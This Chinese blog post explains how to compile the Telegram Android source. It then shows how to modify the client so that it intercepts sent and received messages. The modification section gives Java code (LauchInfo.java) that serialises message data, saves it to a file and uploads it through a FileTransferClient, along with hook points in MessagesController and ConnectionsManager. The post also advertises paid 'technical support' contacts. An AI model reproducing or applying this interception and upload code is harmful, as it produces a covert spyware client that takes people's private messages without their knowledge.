首页 > 编程语言 >android studio 编译Telegram源码经验总结(2023-11-05)

android studio 编译Telegram源码经验总结(2023-11-05)

时间:2023-11-05 17:33:44浏览次数:32  
标签:11 java String 05 telegram content 源码 static Android

前言

Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。

一、android telegram源码下载地址:

github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:


Windows 版本:10 64位;

Android studio 版本:(2022.3.1)最新版本;

Android SDK 版本:Android studio自带;

Android Gradle Plugin 版本:Version 7.03   (源码版本);

Gradle Version 版本:7.02  (源码版本);

Android ndk 版本:21.4.7075529;

Gradle JDK 版本:11.0.2;


 编译环境说明:

      1、Android studio  

       Android studio 可以采用最新版本;

      2、Android Gradle Plugin Version与Gradle Version

      编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,

要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!

      3、Android ndk 要用21.4.7075529版本,与源码保持一致;

      4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version

不兼容,走了许多弯路。

      5、Android studio提示升级Gradle版本时,千万不要升级!!!

      按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!

能编译成功,才能为后续修改打下基础!!!


三、编译指南

   按项目编译指南,完成以下工作:

1、获取api_id申请地址

https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中

在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore

3、google-services.json

https://console.firebase.google.com/

使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。

4、BuildVars.java  

在 Studio 中打开项目(请注意,应该打开它,而不是导入)

在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。

替换你在控制台创建的获取的 APP_ID 和 APP_HASH

5、API、协议文档

Telegram API 手册:

https://core.telegram.org/api

MTproto协议手册:

https://core.telegram.org/mtproto

四、修改指南

   将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。

1、添加依赖库

implementation 'org.apache.commons:commons-lang3:3.6'

2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化

3、增加LauchInfo.java,以拦截并保存telegram消息。

package ftc;

import android.content.Context;

import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {
    public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    private static String local_path;
    private static String local_dir;
    private static String filename;
    private static Context g_context;
    //接收telegram消息,并转换为格式化字符串,以便保存分析。	
    public static void get(Object value){
        String content=RecursiveToStringStyle.toString(value);
        if(content!=null&&content.equals("")==false)
            SaveContent(content);
    }
    //技术支持:+~~~~byc6352
    public static void get(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        MyLog.i(say + "\n" + content);

    }
    public static void log(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        String text = say + "\n" + content;
        MyLog.i(text);
    }

    public static void SaveContent(String content){
        try {
            MyLog.i(content);
            String time = DEFAULT_SDF.format(new Date());
            String text=time+"\r\n"+content+"\r\n";
            saveInfo2File(text,filename,true);
            FileTransferClient.getInstance().uploadfile(filename,false);
        } catch (Exception e) {
            MyLog.e( "SaveContent:"+e.getMessage());
        }
    }


    /**
     * 保存信息到文件中
     *
     * @param ex
     * @return
     */
    public static boolean saveInfo2File(String info,String filename,boolean append) {
        if (info == null || filename == null) return false;
        FileWriter fileWriter = null;
        try {
            fileWriter = new FileWriter(new File(filename), append);
            fileWriter.write(info);
            return true;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        } finally {
            closeIO(fileWriter);
        }

    }
    /**
     * 关闭IO
     *
     * @param closeable closeable
     */
    public  static void closeIO(Closeable closeable) {
        if (closeable == null) return;
        try {
            closeable.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public  static void getWorkDir(Context context){
        local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
        local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
        filename=local_path+"info.txt";
        g_context=context.getApplicationContext();
    }
}

3、拦截telegram收到的消息

在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

android studio 编译Telegram源码经验总结(2023-11-05)_java

(图1)注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答

在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

android studio 编译Telegram源码经验总结(2023-11-05)_Android_02

(图2)注入ConnectionsManager.java向服务器发送请求


技术交流 dis6YnljNjM1MiBRUTozOTg0ODg3Mg==(base64解码)

至此可以快乐地抓取tg数据了!!








标签:11,java,String,05,telegram,content,源码,static,Android
From: https://blog.51cto.com/u_16113078/8194232

相关文章

  • 2023/11/4
    简单看完翁恺C语言入门后的一些难点经典的素数打印,以及观察改良后的代码,还有构造素数表2023/11/4二进制的补码很关键,理解了它就能理解字节的知识8个字节的二进制数的范围,加了unsigned就非负且乘二了,还加了有形象的图说明超过那个范围就会回环往复,inf表示无穷,nan表示不......
  • 231105校内赛
    T1构造题没啥好说的,大样例一眼出规律#include<bits/stdc++.h>#defineN310usingnamespacestd;intn,l[N][N],r[N][N],a[N][N];intmain(){ freopen("squ.in","r",stdin); freopen("squ.out","w",stdout); ios::sync_with_stdio(0......
  • 【杂题乱写】AtCoder-ARC115
    AtCoder-ARC115_FMigration*把问题转化成在某个限制\(mid\)下求初始局面和最终局面能到达的最小代价局面,如果相等则说明可达。比较局面的方式是比较权值,如果相等按字典序比较。对每个节点\(u\)求出权值比\(u\)小或权值与\(u\)相等且编号比\(u\)小的节点中,与\(u\)......
  • 11.5 做题记录
    [ABC167D]Teleporter一眼有循环节,然后就秒了。#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;constintN=2e5+10;intn,k,a[N],vis[N],xhj=0;pair<int,int>bs[N];signedmain(){ cin>>n>>k; for(inti=1;......
  • 基于微信小程序的短文写作竞赛管理系统-计算机毕业设计源码+LW文档
    摘 要随着世界经济信息化、全球网络化的到来推动信息线上管理的飞速发展,为短文写作竞赛行业的改革起到关键作用。若想达到安全,快捷的目的,就需要拥有信息化的组织和管理模式,建立一套合理、畅通、高效的短文写作竞赛管理系统小程序。当前的短文写作竞赛管理存在工作效率低下,人员和......
  • 基于微信小程序的上门维修系统-计算机毕业设计源码+LW文档
    摘 要随着科学研究的不断深入,有关上门维修的各种信息量也在成倍增长。面对庞大的信息量,就需要有上门维修系统来提高管理工作的效率。通过这样的系统,我们可以做到信息的规范管理和快速查询,从而减少了管理方面的工作量。建立基于微信小程序的上门维修系统,进一步提高用户对上门维......
  • 基于小程序的物流管理系统-计算机毕业设计源码+LW文档
    摘 要随着世界经济信息化、全球网络化的到来推动信息线上管理的飞速发展,为物流行业的改革起到关件作用。若想达到安全,快捷的目的,就需要拥有信息化的组织和管理模式,建立一套合理、畅通、高效的物流管理系统。当前的物流系统存在工作效率低下,人员和资源调配不充分的问题,基于信息化......
  • 基于移动端的点餐系统-计算机毕业设计源码+LW文档
    摘要现如今,人们的生活节奏加快于是就对用餐的时间有了一定的要求。随着计算机网络技术的发展,结构目前手机的普及。在线订餐系统也就运营而出了,不仅可以解决用户的用餐问题同时还解决了餐厅的销量。通过对点餐系统的设计,改变了传统了点餐方式通过电子信息和信息化技术来实现不接触......
  • P1156 垃圾陷阱
    P1156垃圾陷阱基本思路[受这题的影响](P2370yyy2015c01的U盘-加固文明幻景-博客园(cnblogs.com)),我总觉得这题不应该直接把时间当作状态方程的值,于是搞了\(F[i][j]\),为前\(i\)个物品,前\(j\)时间内能到达的最大高度,然后又搞一个数组维护最优时间,但我的能力根本行不通。......
  • 2023-2024-1 20231405《计算机基础与程序设计》第六周学习总结
    2023-2024-120231405《计算机基础与程序设计》第六周学习总结作业信息作业属于哪个课程https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP作业要求在哪里https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP/homework/13009作业的目标自学《计算机......